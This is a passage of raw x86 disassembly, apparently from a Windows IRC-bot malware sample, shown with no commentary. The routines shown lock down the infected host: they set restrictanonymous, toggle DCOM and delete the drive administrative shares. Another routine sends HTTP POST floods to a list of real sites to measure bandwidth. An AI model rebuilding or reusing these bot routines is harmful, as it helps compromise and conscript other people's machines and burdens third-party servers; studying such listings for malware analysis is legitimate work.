		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		call	near ptr 2870B03h
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26B0C98h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26F0601h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------
